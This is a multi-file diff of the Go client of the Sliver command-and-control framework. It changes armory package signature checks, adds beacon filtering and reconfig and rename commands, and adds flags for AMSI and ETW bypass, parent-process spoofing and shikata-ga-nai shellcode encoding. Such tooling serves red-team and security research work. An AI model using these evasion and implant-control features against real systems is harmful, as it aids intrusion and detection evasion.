InProcess: ctx.Flags.Bool("in-process"),
Runtime: ctx.Flags.String("runtime"),
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
EtwBypass: ctx.Flags.Bool("etw-bypass"),
})
ctrl <- true
<-ctrl
@@ -345,6 +375,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
@@ -381,6 +413,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
+58 -25
View File
@@ -38,12 +38,15 @@ import (
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -88,7 +96,10 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -223,8 +234,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
minWidth := 150
if minWidth < width {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
@@ -279,7 +289,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if minWidth < width {
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -313,9 +323,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
strings.Join(bundle.Packages, ", "),
packages,
})
}
con.Printf("%s\n", tw.Render())
@@ -376,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -412,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -433,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -453,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+31 -6
View File
@@ -20,11 +20,13 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
+49 -16
View File
@@ -30,6 +30,7 @@ import (
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -57,13 +58,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
@@ -79,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
@@ -91,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("invalid signature")
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
@@ -116,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -124,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
@@ -416,6 +449,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
@@ -455,9 +489,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
Proxy: http.ProxyURL(config.ProxyURL),
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
+83 -23
View File
@@ -21,6 +21,7 @@ package beacons
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -31,7 +32,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
// BeaconsCmd - Display/interact with beacons
@@ -46,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, false, con)
err = kill.KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -62,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, true, con)
err = kill.KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -71,35 +72,44 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
tw := renderBeacons(beacons, filter, filterRegex, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if 182 < width {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -132,37 +142,87 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
})
}
} else {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
})
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
return tw
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+1 -1
View File
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
tw := renderBeacons(beacons.Beacons, "", nil, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
+179 -27
View File
@@ -63,11 +63,13 @@ import (
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
@@ -398,6 +400,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -475,6 +478,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -503,6 +509,47 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
// [ Reconfig ] ---------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.ReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.RenameStr,
Help: "Rename the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.RenameCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Sessions ] --------------------------------------------------------------
sessionsCmd := &grumble.Command{
@@ -514,6 +561,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Bool("F", "force", false, "force session action without waiting for results")
f.String("f", "filter", "", "filter sessions by substring")
f.String("e", "filter-re", "", "filter sessions by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -530,6 +581,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Kill all stale/dead sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -543,26 +595,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(sessionsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active session",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "agent name to change to")
f.Int("r", "reconnect", -1, "reconnect interval for agent")
f.Int("p", "poll", -1, "poll interval for agent")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.SessionsReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.BackgroundStr,
Help: "Background an active session",
@@ -590,7 +622,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force kill, does not clean up")
f.Bool("F", "force", false, "Force kill, does not clean up")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -807,6 +839,30 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "always-overflow",
Help: "Disable table pagination",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAlwaysOverflow(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "small-terminal",
Help: "Set the small terminal width",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSmallTerm(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
@@ -931,6 +987,33 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Shellcode Encoders ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ShikataGaNai,
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
Args: func(a *grumble.Args) {
a.String("shellcode", "binary shellcode file path")
},
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save output to local file")
f.String("a", "arch", "amd64", "architecture of shellcode")
f.Int("i", "iterations", 1, "number of iterations")
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sgn.ShikataGaNaiCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Exec ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -940,10 +1023,13 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "save", false, "save output to a file")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -974,8 +1060,15 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1006,6 +1099,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1019,8 +1115,13 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
